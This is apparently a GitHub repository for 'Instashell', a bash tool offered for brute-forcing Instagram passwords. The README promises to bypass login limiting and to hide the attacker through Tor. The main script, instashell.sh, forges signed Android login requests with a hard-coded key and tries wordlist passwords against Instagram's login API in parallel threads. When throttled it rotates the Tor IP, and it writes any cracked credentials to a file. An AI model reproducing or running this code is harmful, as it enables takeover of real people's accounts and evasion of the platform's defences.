├── README.md
├── install.sh
├── instashell.sh
└── passwords.lst


/README.md:
--------------------------------------------------------------------------------
 1 | # Instashell
 2 | Clone of instashell from thelinuxchoice
 3 | 
 4 | # Instashell v1.5.4
 5 | ## Author: github.com/thelinuxchoice
 6 | ## IG: instagram.com/thelinuxchoice 
 7 | Instashell is an Shell Script to perform multi-threaded brute force attack against Instagram, this script can bypass login limiting and it can test infinite number of passwords with a rate of +400 passwords/min using 20 threads.
 8 | 
 9 | ## Legal disclaimer:
10 | Usage of InstaShell for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
11 | 
12 | ![insta](https://user-images.githubusercontent.com/34893261/37858917-a6f23ae2-2eea-11e8-9f58-9a688390cfb0.png)
13 | 
14 | ### Features
15 | - Multi-thread (400 pass/min, 20 threads)
16 | - Save/Resume sessions
17 | - Anonymous attack through TOR
18 | - Check valid usernames
19 | - Default password list (best +39k 8 letters)
20 | - Check and Install all dependencies
21 | 
22 | ### Usage:
23 | ```
24 | git clone https://github.com/F33Z/instashell
25 | cd instashell
26 | chmod +x instashell.sh
27 | service tor start
28 | sudo ./instashell.sh
29 | ```
30 | 
31 | ### Install requirements (Curl, Tor, Openssl):
32 | 
33 | ```
34 | chmod +x install.sh
35 | sudo ./install.sh
36 | ```
37 | 
38 | ### How it works?
39 | 
40 | Script uses an Android ApkSignature to perform authentication in addition using TOR and rotating the ip address to avoid blocking. 
41 | The script uses Instagram-py algorithm, see the project at: https://github.com/antony-jr/instagram-py
42 | 
43 | ### Donate!
44 | Support the authors [thelinuxchoice]:
45 | 
46 | <noscript><a href="https://liberapay.com/thelinuxchoice/donate"><img alt="Donate using Liberapay" src="https://liberapay.com/assets/widgets/donate.svg"></a></noscript>
47 | 
48 | ### Get in touch with me ( FEEZ )
49 | @itmefeez
50 | 


--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | #Author: github.com/thelinuxchoice
 3 | #Instagram: @thelinuxchoice
 4 | trap 'echo exiting cleanly...; exit 1;' SIGINT SIGTSTP
 5 | 
 6 | checkroot() {
 7 | 
 8 | if [[ "$(id -u)" -ne 0 ]]; then
 9 |    printf "\e[1;77mPlease, run this program as root!\n\e[0m"
10 |    exit 1
11 | fi
12 | 
13 | }
14 | 
15 | checkroot
16 | 
17 | (trap '' SIGINT SIGTSTP && command -v tor > /dev/null 2>&1 || { printf >&2  "\e[1;92mInstalling TOR, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install tor > /dev/null || printf "\e[1;91mTor Not installed.\n\e[0m"; }) & wait $!
18 | 
19 | (trap '' SIGINT SIGTSTP && command -v openssl > /dev/null 2>&1 || { printf >&2  "\e[1;92mInstalling openssl, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install openssl > /dev/null || printf "\e[1;91mOpenssl Not installed.\n\e[0m"; }) & wait $! 
20 | 
21 | (trap '' SIGINT SIGTSTP && command -v curl > /dev/null 2>&1 || { printf >&2  "\e[1;92mInstalling cURL, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install curl > /dev/null || printf "\e[1;91mCurl Not installed.\n\e[0m"; }) & wait $!
22 | 
23 | printf "\e[1;92mAll Requires are installed!\n\e[0m"
24 | 


--------------------------------------------------------------------------------
/instashell.sh:
--------------------------------------------------------------------------------
  1 | #!/bin/bash
  2 | # Coded by: github.com/thelinuxchoice
  3 | # Instagram: @thelinuxchoice
  4 | 
  5 | trap 'store;exit 1' 2
  6 | string4=$(openssl rand -hex 32 | cut -c 1-4)
  7 | string8=$(openssl rand -hex 32  | cut -c 1-8)
  8 | string12=$(openssl rand -hex 32 | cut -c 1-12)
  9 | string16=$(openssl rand -hex 32 | cut -c 1-16)
 10 | device="android-$string16"
 11 | uuid=$(openssl rand -hex 32 | cut -c 1-32)
 12 | phone="$string8-$string4-$string4-$string4-$string12"
 13 | guid="$string8-$string4-$string4-$string4-$string12"
 14 | var=$(curl -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
 15 | var2=$(echo $var | awk -F ';' '{print $2}' | cut -d '=' -f3)
 16 | 
 17 | checkroot() {
 18 | if [[ "$(id -u)" -ne 0 ]]; then
 19 |     printf "\e[1;77mPlease, run this program as root!\n\e[0m"
 20 |     exit 1
 21 | fi
 22 | }
 23 | 
 24 | dependencies() {
 25 | 
 26 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
 27 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
 28 | command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; }
 29 | 
 30 | command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
 31 | command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
 32 | command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
 33 | command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
 34 | command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
 35 | command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
 36 | command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
 37 | if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
 38 | echo "/dev/urandom not found!"
 39 | exit 1
 40 | fi
 41 | 
 42 | }
 43 | 
 44 | banner() {
 45 | 
 46 | printf "\e[1;92m     _                                   _             _  _           \e[0m\n"
 47 | printf "\e[1;92m _  | |                _                | |           | || |          \e[0m\n"
 48 | printf "\e[1;92m( \ | | ____    ___  _| |_  _____   ___ | |__   _____ | || |          \e[0m\n"
 49 | printf "\e[1;92m ) )| ||  _ \  /___)(_   _)(____ | /___)|  _ \ | ___ || || |          \e[0m\n"
 50 | printf "\e[1;77m(_/ | || | | ||___ |  | |_ / ___ ||___ || | | || ____|| || |  _____   \e[0m\n"
 51 | printf "\e[1;77m    |_||_| |_|(___/    \__)\_____|(___/ |_| |_||_____) \_)\_)(_____)  \e[0m\n"
 52 | printf "\n"
 53 | printf "\e[1;77m\e[45m  Instagram Brute Forcer v1.5.4 Author: thelinuxchoice (Github/IG)   \e[0m\n"
 54 | printf "\n"
 55 | }
 56 | 
 57 | function start() {
 58 | banner
 59 | checkroot
 60 | dependencies
 61 | read -p $'\e[1;92mUsername account: \e[0m' user
 62 | checkaccount=$(curl -s https://www.instagram.com/$user/?__a=1 | grep -c "the page may have been removed")
 63 | if [[ "$checkaccount" == 1 ]]; then
 64 | printf "\e[1;91mInvalid Username! Try again\e[0m\n"
 65 | sleep 1
 66 | start
 67 | else
 68 | default_wl_pass="passwords.lst"
 69 | read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass
 70 | wl_pass="${wl_pass:-${default_wl_pass}}"
 71 | default_threads="10"
 72 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
 73 | threads="${threads:-${default_threads}}"
 74 | fi
 75 | }
 76 | 
 77 | checktor() {
 78 | 
 79 | check=$(curl --socks5-hostname localhost:9050 -s https://check.torproject.org > /dev/null; echo $?)
 80 | 
 81 | if [[ "$check" -gt 0 ]]; then
 82 | printf "\e[1;91mPlease, check your TOR Connection! Just type tor or service tor start\n\e[0m"
 83 | exit 1
 84 | fi
 85 | 
 86 | }
 87 | 
 88 | function store() {
 89 | 
 90 | if [[ -n "$threads" ]]; then
 91 | printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
 92 | if [[ "$threads" -gt 10 ]]; then
 93 | sleep 6
 94 | else
 95 | sleep 3
 96 | fi
 97 | default_session="Y"
 98 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $user
 99 | read -p $'\e[1;77m? [Y/n]: \e[0m' session
100 | session="${session:-${default_session}}"
101 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
102 | if [[ ! -d sessions ]]; then
103 | mkdir sessions
104 | fi
105 | IFS=$'\n'
106 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
107 | printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M")
108 | printf "\e[1;77mSession saved.\e[0m\n"
109 | printf "\e[1;92mUse ./instashell --resume\n"
110 | else
111 | exit 1
112 | fi
113 | else
114 | exit 1
115 | fi
116 | }
117 | 
118 | 
119 | function changeip() {
120 | 
121 | killall -HUP tor
122 | 
123 | 
124 | }
125 | 
126 | function bruteforcer() {
127 | 
128 | checktor
129 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
130 | printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" $user
131 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass
132 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
133 | token=0
134 | startline=1
135 | endline="$threads"
136 | while [ $token -lt $count_pass ]; do
137 | IFS=$'\n'
138 | for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
139 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
140 | 
141 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
142 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
143 | IFS=$'\n'
144 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
145 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
146 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
147 | 
148 | let token++
149 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass #token
150 | 
151 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m";  kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$  ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
152 | 
153 | let startline+=$threads
154 | let endline+=$threads
155 | changeip
156 | done
157 | exit 1
158 | }
159 | 
160 | 
161 | 
162 | function resume() {
163 | 
164 | banner 
165 | checktor
166 | counter=1
167 | if [[ ! -d sessions ]]; then
168 | printf "\e[1;91m[*] No sessions\n\e[0m"
169 | exit 1
170 | fi
171 | printf "\e[1;92mFiles sessions:\n\e[0m"
172 | for list in $(ls sessions/store.session*); do
173 | IFS=$'\n'
174 | source $list
175 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$pass"
176 | let counter++
177 | done
178 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
179 | source $(ls sessions/store.session* | sed ''$fileresume'q;d')
180 | default_threads=10
181 | read -p $'\e[1;92mThreads (Use < 20, Default 10): \e[0m' threads
182 | threads="${threads:-${default_threads}}"
183 | 
184 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
185 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
186 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
187 | 
188 | 
189 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
190 | 
191 | while [ $token -lt $count_pass ]; do
192 | IFS=$'\n'
193 | for pass in $(sed -n '/\b'$pass'\b/,'$(($token+threads))'p' $wl_pass); do
194 | #for pass in $(sed -n '/\b'$pass'\b/,'$threads'p' $wl_pass); do
195 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
196 | 
197 | data='{"phone_id":"$phone", "_csrftoken":"$var2", "username":"'$user'", "guid":"$guid", "device_id":"$device", "password":"'$pass'", "login_attempt_count":"0"}'
198 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
199 | IFS=$'\n'
200 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
201 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
202 | useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
203 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $countpass $count_pass $pass #token
204 | let token++
205 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m";  kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$  ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
206 | let token--
207 | changeip
208 | done
209 | exit 1
210 | }
211 | 
212 | case "$1" in --resume) resume ;; *)
213 | start
214 | bruteforcer
215 | esac
216 | thelinuxchoice/instashell
217 | cd instashell
218 | 


--------------------------------------------------------------------------------